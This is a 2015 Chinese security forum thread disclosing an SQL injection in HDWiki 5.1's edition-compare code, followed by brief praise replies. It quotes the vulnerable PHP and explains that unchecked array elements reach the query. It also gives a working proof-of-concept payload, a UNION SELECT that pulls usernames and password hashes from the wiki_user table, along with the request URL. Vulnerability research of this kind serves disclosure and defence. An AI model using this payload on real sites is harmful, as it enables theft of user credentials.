查看: 14377|回复: 7

hdwiki5.1 SQL注入漏洞

[复制链接]
发表于 2015-3-3 18:02:07 | 显示全部楼层 |阅读模式
Author:phithon
/control/edition.php 119行
[AppleScript] 纯文本查看 复制代码
        function docompare(){
                if(!empty($this->setting['check_useragent'])) {
                        $this->load('anticopy');
                        if(!$_ENV['anticopy']->check_useragent()){
                                $this->message('禁止访问','',0);
                        }
                }
                if(!empty($this->setting['check_visitrate'])) {
                        $this->load('anticopy');
                        $_ENV['anticopy']->check_visitrate();
                }
                if ($this->get[4] == 'box'){
                        @header('Content-type: text/html; charset='.WIKI_CHARSET);
                        if(!@is_numeric($this->get[2])||!@is_numeric($this->get[3])){
                                $this->message($this->view->lang['parameterError'],'index.php',0);
                        }
                        $did = $this->get[2];
                        $eid = $this->get[3];
                        $edition = array();     
                        $editions=$_ENV['doc']->get_edition_list($did,'`time`,`authorid`,`author`,`words`,`images`,`content`', $eid);
                        
                        $this->view->assign('edition',$editions);
                        $this->view->display('comparebox');
                        exit;
                }
                if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){
                        $this->message($this->view->lang['parameterError'],'index.php',0);
                }
                $edition=$_ENV['doc']->get_edition($this->post['eid']);
                if($edition[0]['did']!=$edition[1]['did']){
                        $this->message($this->view->lang['parameterError'],'index.php',0);
                }

注意这句
[AppleScript] 纯文本查看 复制代码
if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}

判断$this->post[‘eid’][0]和$this->post[‘eid’][1]如果有一个不是数字,则报错。
之后就将$this->post[‘eid’]传入get_edition函数,进去看看:
[AppleScript] 纯文本查看 复制代码
 function get_edition($eid){
                $editionlist=array();
                if(is_numeric($eid)){
                        $edition= $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid=$eid");
                        if($edition){
                                $edition['comtime']=$edition['time'];
                                $edition['time']=$this->base->date($edition['time']);
                                $edition['rawtitle']=$edition['title'];
                                $edition['title']=htmlspecialchars($edition['title']);
                                if(!$edition['content']){
                                        $edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
                                }
                        }
                        return $edition;
                }else{
                        $eid=implode(",",$eid);
                        $query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");
                        while($edition=$this->db->fetch_array($query)){
                                $edition['time']=$this->base->date($edition['time']);
                                $edition['rawtitle']=$edition['title'];
                                $edition['title']=htmlspecialchars($edition['title']);
                                if(!$edition['content']){
                                        $edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
                                }
                                $editionlist[]=$edition;
                        }
                        return $editionlist;
                }
        }

注意这两句:
[AppleScript] 纯文本查看 复制代码
eid[0]=2&eid[1]=19&eid[2]=-3) UNION SELECT 1,2,35,4,5,6,7,8,9,10,user(),username,password,14,15,16,17,18,19 from wiki_user%23

[AppleScript] 纯文本查看 复制代码
$eid=implode(",",$eid);
$query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");

这里直接将$eid解开后放进SQL语句中。所以你之前判断[0]和[1]是否是数字肯定不够啊,[2]以后的元素都没有做判断,造成注入。
本地测试:
向http://localhost/hdwiki/index.php?edition-compare-1发送数据
(其中的数值需要根据实际情况调整,否则会显示参数错误,具体怎么调整看代码,默认安装是这个POC)
exp.png
回复

使用道具 举报

发表于 2015-6-27 19:12:07 | 显示全部楼层
还是不错的哦,顶了
回复 支持 反对

使用道具 举报

发表于 2015-6-28 11:00:31 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-6-28 17:02:47 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-6-29 16:18:24 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-6-30 06:50:41 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2015-6-30 08:31:00 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-7-1 15:34:57 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-9 07:47 , Processed in 0.028209 second(s), 12 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部